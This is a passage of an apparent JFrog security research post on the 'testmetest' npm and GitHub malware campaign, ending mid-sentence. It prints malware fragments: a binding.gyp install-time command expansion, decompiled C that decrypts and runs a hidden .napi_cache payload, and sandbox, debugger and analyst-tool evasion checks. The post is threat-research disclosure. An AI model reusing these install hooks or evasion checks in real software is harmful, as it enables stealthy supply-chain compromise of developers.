Beyond testmetest: Native Addon Camouflage and 42 Armed GitHub Repositories Reveal a Hidden npm Publisher JFrog Security Research identified 42 armed third-party GitHub repositories across 11 legitimate owners tied to the testmetest npm campaign, whose malicious packages used a binding.gyp command expansion to run index.js during installation and delivered a loader that decrypted an AES-128-GCM stage and fetched Bun 1.2.18. The repositories carry execution hooks for AI coding assistants and IDEs plus 12.9 to 13.7 MB polymorphic wrappers that all decode to the same hidden CI-publisher payload, and the attacker-owned repository doubles as an active encrypted data sink; JFrog also found a new native-addon camouflage that decrypts a file named .napi_cache at runtime. The findings contradict SafeDep's October 22 analysis, which reported no confirmed compromised third-party packages or victims, and JFrog attributes the gap to payload blobs large enough to evade GitHub search and API paths. JFrog Security Research has identified 42 armed third-party GitHub repositories across 11 legitimate owners connected to the testmetest npm campaign. The repositories contain execution hooks for AI coding assistants and IDEs, plus 12.9 to 13.7 MB polymorphic wrappers that all decode to the same hidden CI-publisher payload. The campaign’s attacker-owned repository also operates as an active encrypted data sink, receiving snapshot envelopes. The campaign also shifted to a new camouflage: a compiled native addon that contains no payload of its own, and instead decrypts a file named .napi cache at runtime to reveal the real one. The investigation also uncovered account hijacks, forged commit timelines, short-lived publishing branches and exposed npm credentials. Shellpanel artifacts in the same hijacked owner cluster link this GitHub victim infrastructure to previously reported GitHub Actions exploitation of internet-facing cPanel systems. During October 21 our scanners alerted us about shai-hulud packages found in the npm ecosystem. SafeDep's October 22 analysis https://safedep.io/testmetest-npm-worm-miasma-variant first documented the npm/package side of this activity and decoded event-bus-lite-testmetest@0.0.1 . SafeDep described the payload as Miasma-family while explicitly noting uncertainty about its lineage. We use "testmetest campaign" here because our evidence confirms shared tooling and a Shai-Hulud-descendant payload, but does not establish that the original Miasma operators are responsible. At publication time, SafeDep reported that it had not confirmed compromised third-party packages or victims. Our complementary investigation of the campaign's GitHub infrastructure reaches a different conclusion: the operator had already armed real repositories belonging to established developers and organizations. The discrepancy was not merely a matter of timing. The payload blobs were large enough to evade the GitHub search and API paths normally used to find this kind of compromise. The public npm page used an ordinary utility-library description while malicious versions delivered the testmetest payload. From npm packages to GitHub infrastructure from-npm-packages-to-github-infrastructure The npm chain provides the link into the broader operation. Malicious testmetest releases used a binding.gyp command expansion to execute index.js during installation, even though the packages did not declare a conventional install script: { "targets": { "target name": "nothing", "type": "none", "sources": "< env node index.js /dev/null 2 &1; echo stub.c " } } The loader applied a per-build Caesar transformation to a character-code array, decrypted an AES-128-GCM stage and located or downloaded Bun 1.2.18. Depending on the build, the decrypted payload was piped to bun run - or written to a temporary .b- directory and removed after execution. The full npm payload collected credentials, poisoned repositories and CI configuration, and propagated through package registries. One release, event-bus-lite-testmetest@0.0.2 , was an unusual dual-stage carrier: it contained both the full credential-stealing worm and a separate CI-publisher-family payload. The package inventory below reconciles SafeDep's list with our expanded analysis. The important connection is architectural: the same loader template, Bun bootstrap, obfuscation style and publishing logic appear in GitHub repositories. The GitHub side shows how the operator intended to turn stolen GitHub and npm access into malicious releases, and how real repositories were prepared to run that publisher. How it all connects how-it-all-connects The attacker-controlled -testmetest GitHub repositories served as source or cover projects for matching npm packages. Malicious releases delivered the npm worm, which stole GitHub and npm credentials that could provide access to third-party repositories. Within hijacked repositories, the campaign left smoke-test placeholders or armed payloads. Decoding the armed ci.js files exposed publishers designed to run through GitHub Actions and use npm tokens or trusted publishing to produce further malicious testmetest releases, feeding package delivery back into repository compromise. Shellpanel workflows targeting cPanel systems through CVE-2026-41940 also appeared in this same cluster of hijacked owners. Together, these artifacts establish operational linkage among the npm worm, repository publishers and shellpanel activity, but not one proven continuous execution chain from every npm infection to CVE exploitation. A new camouflage: the payload hides in a native addon a-new-camouflage-the-payload-hides-in-a-native-addon Before the full package inventory, one change in delivery deserves its own explanation, because it changes how the packages in that inventory behave. Later in the campaign, the operator stopped shipping a JavaScript loader at all. Three packages, @iobandamwer/cache-helper , @iobandamwer/native-helper and path-stream-utils-testmetest , carry a precompiled Node addon addon.node , plus addon win.node for Windows and a one-line postinstall that calls it: Anyone skimming the package sees a "temporary placeholder" and a harmless-looking native helper. The try/catch swallows every error, so even a failed run leaves no trace in the install log. Next to the addon sits a dotfile called .napi cache, which looks like a leftover build cache. When the addon runs, it finds its own folder by reading /proc/self/maps , opens .napi cache from there and XORs every byte with 0x96 . The result is a JavaScript file, which it drops in /tmp , locks down and runs with node in a detached process: snprintf path, sizeof path, "%s/.napi cache", addon dir ; ... for i = 0; i < size; i++ buf i ^= 0x96; // decrypt if fork == 0 { setsid ; // detach from the install snprintf tmp, sizeof tmp, "/tmp/.%u", getpid ; write file tmp, buf, size ; chmod tmp, 0600 ; execlp "node", "node", tmp, NULL ; } It only runs where nobody is watching it-only-runs-where-nobody-is-watching Before touching .napi cache , the addon runs a long list of environment checks and quietly returns if any of them trips: - CI systems: it looks for variables such as GITHUB ACTIONS , GITLAB CI , JENKINS URL , CIRCLECI , BUILDKITE , VERCEL and a plain CI . - Containers and sandboxes: it searches /proc/1/cgroup and /proc/1/cmdline for docker , lxc , containerd , kubepod , podman , tini and sandbox . - Small analysis VMs: it bails out on machines with roughly 1.5 GB of RAM or less, or with a single CPU. - Debuggers: it reads TracerPid from /proc/self/status and stops if something is attached. if getenv "GITHUB ACTIONS" || getenv "CI" || getenv "SANDBOX" / ... / return; if mem total kb < 1536 1024 || cpu count == 1 return; if tracer pid = 0 return; The practical effect is that the payload fires on a real developer laptop or a regular server, and stays asleep inside the CI runners, containers and sandboxes that automated package scanners use. It also means this route is aimed at people, unlike the ci.js publisher below, which was built to run inside GitHub Actions. A second build that skips the encrypted file a-second-build-that-skips-the-encrypted-file A second function in the addon takes a simpler route. There is no .napi cache and no decryption. It forks, detaches and runs a hard-coded command that pulls a loader from a repository on the operator's own GitHub account: CementBeetleSteeple is the same account that hosts the ci.js publisher repositories described below, which ties this native-addon variant to the rest of the campaign. The Windows build has the same checks, plus tool detection the-windows-build-has-the-same-checks-plus-tool-detection The postinstall selects addon win.node on Windows, and its payload function opens with the same gating logic, adapted to Windows APIs. It returns early, without running the payload, in any of these cases: - CI and sandbox variables: a longer list than the Linux build, including GITHUB ACTIONS , GITLAB CI , TRAVIS , CIRCLECI , SANDBOX , JENKINS URL , BUILDKITE , CODEBUILD BUILD ID , APPVEYOR , DRONE , SEMAPHORE , TEAMCITY VERSION , BITBUCKET BUILD NUMBER , NETLIFY , VERCEL , NOW GITHUB DEPLOYMENT , CF BUILD ID , SCREWDRIVER and a plain CI . - Small analysis VMs: GlobalMemoryStatusEx reports roughly 1.5 GB of RAM or less, or GetSystemInfo reports a single processor. - Debuggers: IsDebuggerPresent or CheckRemoteDebuggerPresent returns true. - Analysis tools: it walks the process list with CreateToolhelp32Snapshot and Process32First / Process32Next , lowercases each process name and stops if it contains wireshark , procmon , procexp , x64dbg , ollydbg , fiddler or httpdebug . One further name is stored as a string we did not resolve. for env = ci vars; env; env++ if getenv env return 1; // CI / sandbox if GlobalMemoryStatusEx &mem || mem.ullTotalPhys 0x5fffffff { GetSystemInfo &si ; if si.dwNumberOfProcessors 1 && IsDebuggerPresent && CheckRemoteDebuggerPresent GetCurrentProcess , &dbg , dbg { snap = CreateToolhelp32Snapshot TH32CS SNAPPROCESS, 0 ; for ok = Process32First snap, &pe ; ok; ok = Process32Next snap, &pe { lowercase pe.szExeFile ; if strstr pe.szExeFile, "wireshark" || strstr pe.szExeFile, "procmon" || strstr pe.szExeFile, "procexp" || strstr pe.szExeFile, "x64dbg" || strstr pe.szExeFile, "ollydbg" || strstr pe.szExeFile, "fiddler" || strstr pe.szExeFile, "httpdebug" return 1; // analysis tool running } return 0; // clean: proceed } } return 1; The Windows build adds checks the Linux build does not have. It looks for network sniffers Wireshark, Fiddler, HTTP Debugger , process monitors Process Monitor, Process Explorer and user-mode debuggers x64dbg, OllyDbg . These are the tools an analyst would use to watch the payload's behavior and traffic. Docker and /proc container checks do not apply on Windows, so they are absent. The listing above is our reading of the decompiled gating function, where a return value of 1 means "bail out" and 0 means "proceed". The Windows loader the-windows-loader The exported init function first calls the gate above and returns silently if it trips. If the gate passes, the loader follows the same steps as the Linux build, using Windows APIs: 1. It resolves the addon's own directory and opens .napi cache from it. It rejects the file if it is empty or larger than about 20 MB. 2. It XORs the whole buffer with 0x96 and null-terminates it. The result is a JavaScript file. 3. It writes the file to the user's temp directory as %TEMP%\.nc